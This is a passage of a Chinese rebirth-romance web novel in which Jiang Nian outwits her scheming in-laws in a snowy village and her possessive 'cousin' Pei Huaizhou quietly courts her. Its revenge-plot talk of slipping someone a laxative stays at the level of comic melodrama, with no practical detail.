“那就改了,男女一律平等,凭什么你们的脏衣服要扔给我表妹洗?如果不服,我可以去问问县长有没有这种风俗,如果还不改,那我也可以略通一下拳脚功夫。”
又是县长又是武力威胁的,顾永福连忙改口:“之前是我们做的不对,我们改。”
裴淮州:“表妹,我们先去休息,等饭做好了一起吃。”
“好。”
“我们是娶媳妇不是娶个祖宗,”吴桂花小声跟顾永福抱怨,“你就任由他那么说咱儿子?”
“说几句咋了又不掉块肉,”顾永福心想女人就是头发长见识短,“你忘了饭店里小裴一开口,好几个军人都听他的吗,要是能让他跟县长求情,小晴不就能放出来了?”
吴桂花一拍脑袋:“对哦,被姜念气的,差点忘了小晴。”
说罢又一咬牙:“那我多做些荤菜。”
另一边,裴淮州看着姜念住着的屋子,脸黑了又黑。
空间小,东西少,四周漏风,哪怕有两层被子盖着,也能冻得人打哆嗦。
裴淮州深吸
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一口气:“你就住在这?”
“对啊,”姜念给他倒了杯热水,“其实这算好的了,之前漏风比现在还严重。”
裴淮州咬牙:“他们竟然把屋子空着都不让你住……”
男人狠狠闭了闭眼:“你天生畏寒,每到这时候都手脚发凉,这里连个小火炉都没有,你怎么受得住的?那个狗……男人,对你就这么重要?”
“其实没那么重要。”
“那你跟我走,我带你回家。”
姜念看着裴淮州,脑海里蓦然浮现出他被顾向南残害的画面,心里一阵抽疼,低头笑了笑:“待会儿我给你烤个地瓜吧,外头下雪了,吃个地瓜多有氛围感啊。”
成年人的世界不需要明说,裴淮州缓缓敛眸,轻笑:“好。”
吃饭时候,顾永福旁敲侧击的为顾晴说好话,裴淮州连个笑脸都懒得给,全程冷着脸。
吴桂花急的不行,见姜念吃的满嘴流油,气的一把夺走她筷子:“吃吃吃,小晴都蹲局子了你还有心情吃!”
“又不是我蹲局子,为什么没心情?你刚才不也吃了块鸡屁股吗?”
“你!”吴桂花被姜念气的一佛出世二佛升天:“亏小晴平时跟你关系最好,她在里面遭那么大罪你一点都不关心吗!还不快点跟你表哥求求情,把小晴放出来。”
“顾晴害的是县长,要想出来也得去找县长,我表哥就是个普通人,帮不了忙。”
“胡说,他要是个普通人能有那么多军人护着?”吴桂花深吸一口气,硬着头皮先服软,“念念啊,只要你肯跟你表哥求情把小晴弄出来,我就让他回来过年,你们都三年没见了,向南给你寄的信你都宝贝得收起来翻来覆去地读,难道就不想真正团聚一次吗?”
”我……”不提信还好,一想起她宝贝的那些信都是吴国强那个油腻男写的,她恶心的差点吐出来。
她被恶心得说不出话,可落在裴淮州眼里就成了她真的在犹豫,真的在想顾向南那个狗男人!
男人脸上瞬间凝了一层寒霜:“想要我帮忙,可以,只要你们不怕顾晴在局子里蹲到死,尽管让我去。”
第十八章 顾向南回来了?
这话一出,所有人都是一怔。
顾永福脸色变了又变,不悦地放下酒杯:“小裴啊,你这话什么意思?你不准备帮忙?”
“顾晴做的事性质恶劣,七天是最轻的惩罚,县长最讨厌别人走后门,我去求情,反而会适得其反,”裴淮州对姜念缓和了脸色,“表妹,你如果想让我去,我会去,但后果我不敢保证。”
裴淮州在顾家,姜念根本不想让顾向南回来,她恨不得把这俩人一个北极一个南极的分开让他们永远都见不了面,赶紧摇头:“不用了,他在部队忙着呢,总是受伤的,来回多不方便啊。”
“妈,我们之间的事我们自己解决,你不用特意把他喊回来,他的前途更重要,”以免吴桂花怀疑,姜念忍着恶心做害羞状,“我跟向南情比金坚,不在乎这朝朝暮暮的相处。”
“咔嚓。”
这是某人折断筷子的声音,面对三个人的目光,裴淮州面不改色起身:“我吃好了,先回屋了。”
姜念哦了声,挥挥手:“好的表哥,睡个好觉表哥。”
裴淮州:……
“好,你也睡个好觉。”
这几乎是从牙缝里挤出来的话,姜念挠挠头,怎么凉飕飕的。
但这都不重要,她紧跟着回屋锁好门,拿出银针给自己针灸。
她早就替自己准备了减肥计划,能赶在过年前就把这身肥膘给减下来,好好过个年。
消毒,扎入穴道,姜念闭着眼感受身体的变化,感觉手脚暖呼呼起来,舒坦的吐出口气。
半夜里,小雪变成了大雪,吴桂花盯着窗户睡不着觉。
“这天只要一下雪就降温,也不知道小晴在里面冷不冷,永福,你真不管咱闺女了啊,她从小到大就没受过这种委屈啊。”
“没受过也得受着,谁让她胆子大的给县长下毒……”
“是泻药。”
“泻药也不行啊,那可是县长,连你哥都说不上话的大人物,你闺女都敢惹,哪天把咱俩送进去都不稀奇,让她老老实实在里面待着吧,长个记性,省的以后再把天给捅个窟窿。”
吴桂花竟然说不出反驳的话:“……都怪姜念,要不是她招惹小晴,小晴能进去吗,亏我以前还觉得她跟个面团一样,如今娘家来了个表哥都敢怼我了,我非得让她知道这个家到底是姓顾还是姓姜!”
顾永福皱眉:“你想干啥?”
“明天你就知道了。”
第二天天还没亮,吴桂花就去敲姜念的屋子。
姜念昨晚针灸了一个小时,睡得格外香甜,被吵醒时一脸的怨气。
姜念冷着脸去开门,兜头被扔了一身衣裳:“昨儿下大雪了,你去给小晴送身棉袄。”
“这才几点啊,我走不动,你去送吧。”
“别磨蹭,向南比我更疼小晴,要是让他知道你偷懒不给小晴送衣裳,把人冻坏了,回来肯定找你算账。”
又提这个恶心玩意,姜念睁开眼:“一定要我去送?”
“对,你是年轻人,腿脚麻利,你送的快。”
姜念定定看着吴桂花几秒,笑了:“行啊,为了向南,我去送。”
吴桂花得逞:“唉,这就对了,这才是我老顾家的好儿媳,对了,小晴的这件事绝对不能走露风声!要不然向南可饶不了你!”
“我办事,妈你放心吧。”
“那就好,你赶紧走,要不然不赶趟了。”
呵呵,这么冷的天让她走路去镇上再走路回来,累不死她!
姜念对她打的算盘门清。
昨晚一夜的大雪,此时路上都是积雪,吴桂花明知道客车会停运还撵着她去,不就是想让她吃苦头吗?
姜念可不会让她如意,反锁好门,她深一脚浅一脚的出发,专门走的小路,那儿有村里唯一一条河。
这个时间有不少人都去小河挑水,她直接把厚实的棉袄按在了冰凉的河水里,装模作样洗衣裳。
几个挑水的婶子叔叔看傻了眼。
“我没看错吧,这不是老顾家那个好吃懒做的儿媳妇吗,大冷天的她在干啥呢,洗衣裳?”
“姜念会洗衣裳?你开什么玩笑啊。”
“你看嘛,这不是姜念还能是谁?咱们村里哪里有第二个这么胖的女同志?”
几个婶子看稀罕物一样好奇地围上来,有人就问:“向南家的,你大早上的洗什么衣裳啊?”
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“这大小,不像是你的啊。”
姜念乖巧回答:“婶子眼睛可真尖,这是我小姑子的衣裳,刚不小心掉到泥里去了,所以我洗一洗。”
“好好的,你拿你小姑子的衣裳干啥?”
“下雪降温,婆婆担心小姑子被冻了,让我去县城给小姑子送衣裳。”
“嗯?这大雪天的又不通车,你婆婆不是最宝贝你了吗,舍得让你走两小时去县城啊?”
“我记得大丫不是跟你姐姐一个学校吗,她今天回学校,你让大丫一块给你送到学校,现在这个点,她还没走,你赶紧去账找她。”有人热情地出主意。
姜念眼睛闪了闪,欲言又止:“这,这恐怕不顺路,我小姑子不在学校……”
“啊?那她在哪?”问话的人就顺嘴问一句,可见姜念吞吞吐吐的立马来了精神,“哪儿啊?该不会是住在别人家里了吧,我可记得大丫说你小姑子谈对象了啊……”
“哎呀,不是不是……是……”姜念又支支吾吾起来。
婶子们都急了,就连几个叔叔也都装无意的凑过来听。
然后就听到姜念跟被逼急了的小兔子一样大声说:“是拘留所!”
轰的一声!
所有人都炸了。
“啥,拘留所?顾家闺女竟然进局子了!”
“怪不得昨天只见她爸妈回来,脸色还不好看,原来闺女是被抓了啊!”
“向南家的,你小姑子为啥进的拘留所?乱搞男女关系了?”
“按理说现在查的也不严了啊……”
“要蹲几天啊?你知道不?”
“得一个星期。”
“呵呵,怪不得你婆婆让你送衣裳呢,她也觉得丢脸啊!”
听着大家热火朝天的讨论,姜念微心里美的直冒泡。
吴桂花不是想瞒吗,那她偏偏就把这件事捅出来,闹得人尽皆知!
让大家都看看,村里标榜三好家庭,模范家庭的顾家,是怎么从根上烂的!
姜念笑的就跟进了米缸里的老鼠一样,转身要溜走,下一秒却撞进了男人结实泛着凉意的胸膛里。
有人疑惑:“诶,这不是顾向南吗?他回来了?”
第十九章 腹黑的裴淮州,疯狂吃醋
一听是顾向南,姜念咬牙一通老拳冲着男人腹部砸了上去。
嘴上害羞地找补:“哎呀向南,我可想死你了呢!”
“嗯……”
奶奶的,喘的还挺好听,但这也不代表他能……
“嘶,这么大力气,念念想把我砸死吗?”
姜念意外抬头:“裴淮州,怎么是你?”
裴淮州眯起眼:“所以你以为是顾向南才用的这么大的劲,可你不是很喜欢他吗?”
姜念失望地板起脸:“哦,我们这是打情骂俏,打的越狠爱的越深,你不懂。”
“是吗?”
裴淮州智多近妖,又一肚子的心眼子,姜念不敢糊弄他:“要不然呢,我要是不喜欢他能嫁给他吗?”
这句简直绝杀,裴淮州脸色肉眼可见的黑了下来。
姜念拉他走:“大冷天的,咱们回家。”
裴淮州一走:“嘶,还疼。”
“我回去给你看看。”
“亲手给我上药?”
“这得看我攻击力有多大,不过你也有一定的责任。”
“我?念念,是你先揍得我。”
“谁让你有腹肌的,越硬才越疼。”
“这么说顾向南没腹肌?他一个当兵的还没腹肌?他不行。”
这关注点……姜念能说她自己也不知道吗,但一般人根本没法跟他比吧,穿衣显瘦脱衣有肉的,明明是做科研的,但数九寒冬,晨练一天都不带停的。
不过……姜念悄悄看他一眼,这最后一句话她怎么就听着不对劲呢?
可裴淮州脸色坦荡,不像是在歧视人啊。
他们溜溜达达的回去,迎门却撞见了吴桂花:“你怎么回来了?呀,衣裳怎么湿了?”
吴桂花急的眼都红了:“你怎么办的事啊,家里就这么一件干净的了,你还给弄湿了。我看你就是打心眼里不想让小晴好过,我怎么娶了你这么个歹毒的儿媳妇!”
吴桂花一边破口大骂一边拧衣裳,哗啦啦的滴了一大摊水,这下好了,就算拿炉子烘一时半会儿也烘不干了!
吴桂花恶狠狠瞪了姜念一眼,扭头闯进她屋里从衣柜里挑了件新的,看着她说:“你去送这件。”
这是儿子娶姜念时买的衣裳,姜念最宝贝了,平时穿都舍不得穿一下。
为了戳她肺管子,吴桂花直接拿了这件出来,故意刺激姜念。
果然,姜念一脸肉疼:“这是我们结婚时,向南给我买的啊……不过为了小姑子,送这个就送这个吧。”
裴淮州轻飘飘瞥了它一眼,在陪着姜念去镇上的路上,不小心碰到,不偏不倚的掉在了野狗刚撒过尿的坑里。
姜念:……
裴淮州抱歉的啊了声:“雪天路滑不小心碰到你了,但这衣裳脏了,款式也旧了,一股子廉价感,我再赔你一件新的吧。”
姜念盯着裴淮州看。
裴淮州任由她看:“怎么了?”
姜念皱着眉摇头:“没什么,走吧。”
这一世裴淮州不是还没跟顾向南见面吗,怎么话里话外都对顾向南那么大的恶意?
姜念才不会自恋到裴淮州会喜欢自己,毕竟她退亲时,裴淮州还一脸的无动于衷,这三年来也没联系过她。
再说,裴淮州从小就是别人家的孩子,她又皮又淘气的,他怎么看的上自己啊。
难道是裴淮州小时候没人照顾,他爸妈帮着照顾着,渐渐融化了裴淮州那冰冷的心?
所以裴淮州上辈子是把他们当成了家人,见他们陆续被害才找顾向南拼命?
姜念越想越觉得是这样,不过上一世的事情注定找不到答案了,好在这一世还来得及改变。
他们两个一路上有一搭没一搭的聊着,等到了县里去国营饭店吃了饭后,裴淮州带着姜念去百货大楼买了件新大衣。
期间小赵找了过来,趁着姜念换衣裳的时候飞快跟裴淮州说:“手续批下来了,实验基地正在建,月底就能完工,上头运来了不少您要的仪器,县长想找您一块去看看。”
姜念出来时正好看到小赵跟裴淮州说话,后者眉头紧皱:“怎么了?是不是你工作出问题了?”
“没有,是上头领导找我问工作的事,我要去忙一会儿,让赵大哥跟着你……”
“不用不用,人家赵大哥有正经任务的,哪能跟着我啊,这里我熟,不会迷路的,再说我就去个拘留所再去卫生所逛一圈,没什么的,咱们
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定个时间,到时候在百货大楼这见。”
“好。”
约定好时间,两人分开,姜念走的快一眨眼就没了身影,也就没看到,在她走后,百货大楼后面开出了一辆红旗车,恭恭敬敬的载了裴淮州离开。
坐上车的裴淮州没了在姜念面前的亲近感,生人勿近的样子看着旁边坐着的县长感慨。
“裴处真是年轻有为啊,多谢您把这么重要的项目选在我们松山县,您如有任何不满意的地方,尽管跟我们提。”
“您客气了,不过县里的邮局可信吗,方不方便我们邮寄东西?”
县长一时有点懵懵的。
这方面不是走部队吗,裴处特意问起他们县里的邮局,难道是想改造他们的路线,让邮局的业务也能跟部队运输挂上钩?
县长这么想着忍不住激情澎湃:“您放心,我们邮局的工作人员都恪尽职守,素质极好。”
“是吗,可我记得昨天在饭店里有个叫吴国强的,他外甥女就是给您下了泻药的那位。”
“我记得他,他外甥还是当兵的呢……政审肯定没问题。”
裴淮州浅笑:“没问题还会给您下药,这家风,着实彪悍。”
这意思是对吴国强不放心还是对他们邮局都不放心啊。
县长忍不住去看小赵,小赵猜出几分:“最好查一查,没问题当然最好了,如果有问题,现在遏止住,总比日后出了事强,您说对吧,裴处。”
裴淮州笑了,伸手同县长握手:“县长这么上心,我很安心。”
县长明白了:“您放心,我保证完成任务!”
裴淮州三言两语就定了吴国强的未来,等休息时候,小赵把搜集来的东西给了裴淮州。
“这是什么?”
“这是顾向南给您表妹寄来的信件,包括那张弄湿了信件,都在这里。”
裴淮州拧眉,小赵是他的警卫员,一起跟着他回了红旗村,只不过没让人察觉而已。
而这些信也应该是在姜念离开时偷偷拿来的,裴淮州眉眼抬了抬:“下不为例。”
“是。”
等小赵走后,裴淮州才拆开了这些信,等看到第一句时,脸直接黑成了锅底。
第二十章 疯批裴处想当小三
第一句就是恶心巴拉的宝贝媳妇,还搔首弄姿的说白天里想晚上更想你!
裴淮州气的差点撕了这封信,这个狗东西竟然敢这么臆想念念!
就跟个精虫上脑随地发情的野狗一样令人作呕!
要是顾向南在眼前,裴淮州绝对会狠狠给他一拳,把人打死后再剁了他的第三条腿喂狗!
不止这封信,其余几张都是这种油腻发言,裴淮州看着顾向南这么露骨,放肆地调戏姜念,裴淮州啪一下把信全拍在了桌子上。
“裴处,发生什么……”小赵听到动静冲进来,下一秒就被裴淮州扫来的目光吓得定在了原地,头皮都炸了。
天,这些信是杀了他们裴处的全家吗,裴处咬牙切齿看起来像是要**啊!
“你确定这些东西都是那个狗东西寄来的?”
“没,没错啊,要不然您表妹怎么会宝贝的藏在床底下,您看上面的痕迹,姜同志肯定翻来覆去的看过,要不是在看心上人的信,谁会这么……”
小赵话音弱了下去:“裴,裴处,其实您表妹和您表妹夫感情好不是件好事……”
“谁说他是我表妹夫?”裴淮州咬牙,“他也配!”
小赵脑子宕机了:“啊?可他们不是早就结婚了吗,都结婚三年了。”
“也才三年而已,”一辈子他都等过来了,裴淮州眼眸幽暗,“能结婚就能离,我难道还比不过那个狗男人?”
小赵瞳孔地震。
**草草草。
这是什么虎狼之词!
裴处要当自己的表妹夫!还在觊觎有夫之妇!
人家小两口恩恩爱爱的,他们裴处是想当小三啊!
虽然上头说过要不惜一切代价满足裴处的所有要求,但这种事……
小赵一脸正气:“裴处,这件事您得三思啊……当小三这种事不太光彩吧,狗都不干……”
“我有项研究,如果成功,我国将会拉开国外至少十年的差距。”
“狗不干您干,能结就能离!我个人非常支持您!”小赵立马变了口风,“只要锄头挥的好就没有挖不倒的墙角,那狗男人哪里比得上您啊!”
反正裴处表妹结婚三年都跟没结婚一样,换个有出息的男人咋了!
只是裴处看着矜贵斯文,疯批起来可真疯啊。
不过想想也是,天才嘛,都有点疯的,别人疯起来没裴处帅,帅的又没裴处厉害,怎么能不算一种天赋异禀呢?
裴淮州嘴角勾了勾:“很好。”
“这些信你先放回去。”
“诶?”这可是情敌写给表妹的情书啊,不扬了也就算了怎么还给放回去呢?
裴淮州又恢复成了矜贵淡然的样子:“尽管去做,我自有打算。”
“阿嚏!”
姜念打了个大大的喷嚏,胡大夫瞥她一眼:“你确定要配这么多药?这些可都是猛药,一个控制不好,都能吃**的!”
“放心,我有分寸,对了,咱们这谁家卖猪饲料吗?”
“猪饲料?这可是个稀罕物,你怎么突然要这个,是想养猪?”
“对啊,没饲料有袋子也成。”
顺子这时候举手:“我亲戚家有,就是不多,您要几个。”
“一个就行,最好完整一点,有完整名字的。”
“这没问题,我去给您拿。”
姜念说了谢谢,见胡大夫拧着眉头也不拿药了就那么盯着她:“你是不是想干坏事?”
姜念坦然点头:“解决点私人恩怨。”
顾晴虽然进去了,但都是自找的,他们给自己喂猪饲料这件事可还没完。
胡大夫摇摇头,就在姜念以为他要劝自己时,就见小老头偷偷从抽屉里摸出来一大把药粉。
“这种一点点就比得上你抓的全部药材了,还不怕吃**,顶多拉个三天三夜而已,你要下药就下这个,无色无味,贼方便。”
“放心,这是我们祖师爷传下来的秘方,没人能检查出来。”
姜念:……
她忍不住笑出了声:“姜还是老的辣,您真行哈哈!”
也是,一个有这种药(毒)的师门教出来的弟子又怎么可能是一板一眼的性格呢?
姜念在卫生所里闲来无事,帮着胡大夫看了几个病人,开出的药方让胡大夫连连点头。
等看完最后一个病人,顺子也带着东西回来了。
这年头二百来斤的女大夫可不常见,最后一个青年病人忍不住多看了几眼,出去后跟自己的兄弟王洋说了这件稀罕事。
王洋翻了个白眼:“她再胖能有顾晴她嫂子胖吗,别哔哔了,过来打牌。”
两人都没把这当回事,姜念也没想到她看的最后一个病人是王洋的小弟,这会子正在看饲料袋子。
字够大,猪吃饲料的图案也够清晰,姜念
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满意点头:“这个很好,谢谢顺子兄弟了,我也没什么好谢你的,不如我给你把个脉?”
“真的?”顺子麻溜坐下了,他早就想亲身体会一下了,笑眯眯地伸手,“您请。”
姜念笑着搭上他的脉,但渐渐的就笑不出来了,多看了他好几眼。
这样子可把顺子吓得心里一咯噔:“姜、姜大夫,我是不是得了什么重病,要**啊?”
“这倒也不至于,就是……嗯,你少了个肾。”
“诶?肾?不是,我那方面挺行的啊。”
“你别激动,人一般有两个肾,你是天生只有一个,再多了一些东西。”
“哈?什么东西,不是,我身体咋还多了东西啊,多了个啥?”
“子宫,虽然比女性的要小,但的确有。”
“哈?”胡大夫差点没被口水呛死,“子宫?”
顺子此时已经裂成了两半。
“那不是女同志才会有的吗?我是男的啊。”他笑的比哭的还难看。
姜念沉默让开,让胡大夫来把。
但姜念把脉不出三分钟,胡大夫足足十五分钟才摸到,整个人也都石化了。
“呃,这……”胡大夫忍不住去看姜念。
姜念也觉得很玄幻:“这种事虽然罕见但能活,对你的生活也没什么影响,你,你就装不知道吧。”
这种例子太罕见了,以现如今的医疗技术,风险很大。
“可,我都有俩娃了啊,这怎么还多了个子宫呢?”
“放心,很小很小,不会影响到你的正常生活,但你只有一个肾,以后别干什么重活,对肾有负担的药也要慎用。”
顺子失魂落魄地点头,也不知道听进去没有。
胡大夫:“放心,我会跟他好好谈谈的。”
姜念又看了娄美娟夫妻俩的脉案后才溜溜达达往百货大楼那走。
至于顾晴?
衣裳都丢了,谁还去看啊。
百货大楼前,姜念远远看到一道颀长身影。
男人对着光,细碎的金光勾勒出男人优越的眉眼,英俊的不像话,但这也惹了不少人注目,甚至有大胆的女同志上去说话。
姜念渐渐停下了脚步。
裴淮州原本还眉眼冷淡,但在看到姜念时眼神一闪,对来人说:“不好意思,我有对象了。”
他向姜念伸手,神情如同冰山瞬间融化:“念念,来。”
第二十一章 醋醋醋的裴淮州
没有人能抵抗住这样一个优秀俊美的男人用如此深情的目光注视自己,仿佛自己随便一个动作都能牵动他的心神。
姜念心脏莫名漏跳了一拍。
好在她多活了一世,忍住悸动上前把手放在了裴淮州掌心里:“怎么了?”
“这就是你对象?”那女同志因为错愕拔高了音量,毕竟这男同志一米九大长腿,跟横着长的姜念简直是一个天上一个地下,这俩人竟然能看对眼。
裴淮州不悦地沉下眼:“怎么?”
那女同志这才意识到自己失态了,不好意思地摆摆手:“没什么,你,你们挺般配的。”
女同志说完就落荒而逃,其余观望的女同志们也都用一言难尽地看着他们,然后窃窃私语的绕道走。
“她们肯定在说你这个鲜花怎么插在了我这个牛粪上,”姜念好笑,自然的放开手,“我变得这么胖,你还拿我当挡箭牌,谁信啊。”
裴淮州攥了攥空荡荡的掌心,闷声:“你不胖,只是软乎乎的。”
姜念忍不住笑出声,觉得裴淮州是在维护她的自尊心,但其实不用,她可不在意别人的眼光,毕竟她胖过但没丑过,脸若银盘,唇红齿白的。
更何况她正在减肥呢,很快她就能脱胎换骨了,她摆摆手:“小时候你这么说就算了现在还这么说,我都有两个你那么宽了,真的很没说服力,好了,人散了,咱们也走吧。”
她转身要走却被裴淮州拽住,回头就对上了男人十分郑重的双眼。
“姜念,你记住,你真的你很好,不用在意别人的眼光,你在我眼里,仅仅是你。”
不是别人的妻子,不管胖瘦,不论美丑。
都只是他一个人的爱人。
男人的眼眸很深很深,姜念不由自主地陷了进去,不知道过了多久又仿佛只过了几秒钟,身后有孩子妈拿着鸡毛掸子追着小孩揍的动静,姜念被惊醒,飞快偏头。
有些慌乱地说:“不知道路上的积雪化了没,咱们去客车站吧。”
见姜念耳朵红了,明白她是害羞,裴淮州嘴角勾了勾:“好,听你的。”
知道害羞算是质变的第一步,他会徐徐图之的。
路上,姜念无情地唾弃自己。
上辈子因为男人自己一家都死绝了,吃了这么大的亏,大仇还没报,她居然差点又被男色给勾引了!
男人只会耽误女人拔刀的速度,姜念,你清醒点啊,从现在开始就给我封心锁爱!
“你们来的可真巧,咱们客运站只开通了去红旗村的路线,刚通车,赶紧上来吧。”
姜念意外:“那我们可真幸运。”
下了雪,大家都少走动,车上有好几个空位,姜念径直去了最前面的座位,旁边已经坐了人,裴淮州慢她一步上车,脚步顿了顿,然后若无其事坐到了姜念身后。
车子很快行驶,姜念有点奇怪今天车子怎么走的这么早。
路况不好,车子走的慢又颠簸,姜念早上起的早,忙了一天后昏昏沉沉的睡了过去,迷糊中,坐在她旁边的男人下了车,很快又坐下了新人。
“到站了,念念。”
不知道过了多久,姜念被裴淮州轻声叫醒,她还有点迷糊:“这是哪?”
“红旗村口。”
“嗯?这次怎么直接送过来了?”姜念打了个大大的哈欠,边下车边嘀咕。
“可能是司机师傅觉得要下雪了才送的,”裴淮州冲着司机微微点头,不动声色按住了想要起身对他敬礼的一个乘客,温声嘱咐姜念,“慢点,天上又飘雪了。”
姜念他们一下车,车上伪装成乘客和司机的军人同志都趴在了车窗上看稀奇。
“啧啧,裴处居然还能对个女同志这么用心,我可真是开了眼界了。”
“以前不知道裴处醋劲儿那么大呢,刚出车站呢就把小刘撵下车了!”
“你们是没看到啊,那女同志靠着裴处肩膀睡了一路,咱裴处硬是捧了人的脸一路,生怕再给磕到窗户上去。”
“要是让咱们文工团暗恋裴处的女兵们知道裴处出来一次就相中了个媳妇,得哭成什么样呦。”
姜念自然是不知道车上
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的一切,半道上她碰见了挎着篮子的任超男:“婶子这是去哪?”
“哎呦,吓我一跳,我还能去哪啊,这不是来找你吗?”
“找我?”
“对啊,我是来谢你的,幸亏你提醒我不让你叔上山,要不然他肯定跟你公公一样上山摔断了腿!”
“嗯,嗯?你说谁摔断了腿?”姜念震惊,上辈子可没这一茬啊,倒是旁边的裴淮州淡定地扬了扬眉头,小赵这效率……做的不错啊。
不过顾永福生出顾向南还欺负念念,只断条腿还是太轻。
“你公公啊,就是顾向南他亲爹!你还不知道啊,”任超男激动地把姜念往家里领,“你们家都乱成一锅粥了,外头冷,先到婶子家里坐会儿,我跟你慢慢说。”
裴淮州自然跟上。
但看到屋里还有个人高马大的壮汉时,目光瞬间警惕起来。
“你那天晚上来吃饭不是跟我说山上有野狼吗,我就没让你叔上山,本来你叔还念叨着他前几天刚下了陷阱,这几天说不定会有猎物在里面,再晚一天,大雪封山怕是不好挖了。”
“我刚骂完他,下午就听你公公上山摔了,听说他让山上的野狼撵了,就在去陷阱的必经之路上,虽然福大命大的捡了一条小命,但摔的挺狠,找赤脚大夫来看了说是摔断了腿,得送去县里医院治。”
“你婆婆正要带着你公公去县医院呢,你可千万别回去,要不然又得折腾你了。”
顾永福居然摔断了腿?
姜念死命压住上扬的嘴角:“这么惨啊……”
顾永和从里屋出来:“念念来了,正好你婶子要给你送山楂,你前几天不是说想吃冰糖葫芦吗,让你婶子给你做,这位就是你表哥?”
坐的板正,气势像是个当兵的。
姜念差点把裴淮州忘了,忙给两人介绍,裴淮州见他们对姜念是真的关心,态度缓和不少:“叔,婶子,这位是……”
“这是我大儿子满仓。”
裴淮州笑着点了点头:“满仓哥看起来年纪比我大,嫂子没在家吗?”
第二十二章 终于同床共枕
顾满仓脸涨的通红,任超男没好气:“提到这件事我就愁,咱们村里跟你一样大的孩子都能打酱油了,你倒好,还单着,念念啊,你帮婶子留意着点,要是有好姑娘就介绍给你满仓哥。”
“行。”姜念爽快应了。
听她这么果决地答应了,裴淮州这才缓和了神色,抬头对上了若有所思的顾永和。
裴淮州冲他笑了笑,端的是一派温润有礼。
顾永和总觉得这笑有点怪怪的,但定睛一看又处处和谐。
仿佛刚才从裴淮州眼底看出的占有欲和攻击性都是错觉。
姜念拗不过任超男的热情,带着裴淮州又在人家这里蹭了一顿饭,吃完饭后任超男还不让她走,硬是拽着她去了灶房做糖葫芦。
姜念知道她担心自己犯轴非得去照顾顾永福,半推半就地推辞几句最后“无奈”地去了灶房。
任超男教的细致,但还是那句话,姜念做饭零天赋,熬的糖水不是太黄就是太稀,最后还是裴淮州出手,只看了一遍就完美复刻出了晶莹剔透的糖葫芦。
姜念吃的连连点头:“好吃好吃,裴淮州,没想到你手这么巧啊。”
裴淮州看着她吃的腮帮子鼓鼓的像个小仓鼠,可爱的不得了,眼底满是宠溺:“你喜欢吃我以后常给你做。”
姜念嘿嘿点头。
估摸着吴桂花他们去了医院,任超男才让他们回去。
吴桂花他们果然没在家,今晚太冷,姜念去灶房搬了小火炉进来,两人升起炉子烤火,冬夜寒风呼啸,姜念担心:“家里就这一个小火炉,等我屋里暖和了你就拿过去吧,你那屋子大,更冷。”
裴淮州蹙眉:“天一冷你容易感冒,炉子放在你这吧,我没事。”
“这怎么行啊,你又不是铜墙铁壁,肯定冷啊……”
“没事,我是男人。”
“男女平等,你也会冷。”
“这不行,那不行的,”裴淮州用棍子拨拉着小火炉,漫不经心道,“要不,我在你这里睡?”
姜念浑身一震,猛地看他。
裴淮州眉眼很随意洒脱,似乎只是在说个寻常话题:“我知道你喜欢那谁,但这不是权宜之计吗,反正没人知道,再说咱们从小到大,睡在一起的次数多了去了,我和你睡,跟和兄弟睡没什么两样。”
“去你的,谁和你当兄弟啊。”裴淮州很少这么吊儿郎当的说话,听得姜念松了口气,话说回来,他们穿开裆裤的时候,爸妈他们为了好照顾他们俩,就让他们睡在一块了,的确没什么大不了的。
“那待会儿你去你屋里抱被子,我们得定一个楚河汉界。”
“啧,怕什么,怕我非礼你啊。”说着这话,裴淮州偷偷把紧张到出汗的手藏在了身后,看来念念还是很信任他的,在这个世界上能给她同床共枕的,只有他。
裴淮州想想就心情雀跃,忍不住勾起了嘴角。
“我是怕你抢我被子,明天我去给你找个小炉子放屋里,要不然叫别人看到你跟我睡一个屋,不好。”
主要是担心吴桂花他们回来会误会,再给传到顾向南耳朵里,多一丝风险。
裴淮州刚勾起的唇角僵住。
念念这是在担心被公婆看到告诉顾向南,影响他们小夫妻的感情吗?
裴淮州咔嚓一下折断了手里的木棍。
临睡觉前,姜念照例给自己针灸,没注意到裴淮州今晚沉默地要命。
两人盖了三床被褥,各自一个被窝上头再横着盖了一个大棉被。
姜念以为自己会别扭,毕竟旁边睡了个大男人,可刚针灸过,潜意识里又无比信任裴淮州,以至于一沾到枕头就睡着了。
旁边的裴淮州听到她呼吸均匀后慢慢睁开了眼。
月光从窗间洒下来,姜念整个人都沐浴在了清冷的光中,皮肤白到反光,仿佛睡着的睡美人。
裴淮州近乎贪婪地看着姜念,从一寸寸肌肤到眉眼再到红润饱满的唇瓣,眼底的爱意和占有欲比外面的夜色还要浓稠。
此时,他空了两世的心被一点点填满,可这无异于饮鸩止渴,因为他们虽然近在咫尺却如同天堑,他甚至不能拥她入怀。
裴淮州眼神深邃,又黑又沉。
没关系,只要顾家人一天不回来,那他就有的是机会撬墙角。
第二天,姜念睡到了日上三竿才醒,伸了个大大的懒腰,跟个小狗滚泥巴一样蹭被子,然后撅起屁股大鹏展翅一样再埋进了被子里。
“不想起啊…
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…”
“那早饭就在床上吃?”
姜念撅着的屁股一抖,猛地爬出被子,直直跟站在她床头的裴淮州对上了视线。
脸色爆红!
姜念尴尬的恨不得找地缝钻进去:“……你刚才都看到了?”
裴淮州忍俊不禁:“你猜?”
“啊啊啊,丢**了!!”
姜念尖叫,裴淮州眼底满是笑意:“洗漱盆我也给你端过来?”
“别,我起床自己洗,你快出去!”
半个小时后,姜念恢复了正常,看着香喷喷的油条包子和豆腐脑,目瞪口呆:“你别告诉我这些都是你自己做的。”
“不是,这是小,赵大哥送来的。”
“咦,这么早?他来干什么?”
裴淮州浅笑递给她一双筷子:“没什么,工作上的事。”
一听这话,姜念就不问了,匆匆吃完把嘴一抹往外走。
“你在家里老实待着,我出去一趟。”
“去干什么?”
“去给你买炉子。”
裴淮州收拾碗筷的动作一顿:“路被封了。”
“啊,赵大哥早上不是还过来了吗?”
裴淮州面无表情:“他跟我说咱们这到县里要修水泥路,这几天禁止通行。”
“啊,这么巧?”
“是不、巧,小炉子怕是不能买了呢。”裴淮州一大早就被这妮子气的心脏疼,咬着牙从牙缝里才挤出这句话。
姜念总觉得裴淮州这话说的阴阳怪气的,可看他又没觉得有异常。
“那算了,估计很快就能修好,等到时候我再给你买一个。”
裴淮州笑了。
姜念没想到,这一等她就等了一个星期。
姜念甚至都习惯了跟裴淮州睡在一起的生活,有几次还差点钻人家怀里过。
这天,宁静了许久的小村子终于闹出了动静。
顾永福他们回来了,跟他们一起回来的还有顾晴。
姜念出去时正好看到吴桂花从牛车上下来,对着大家伙大吐苦水。
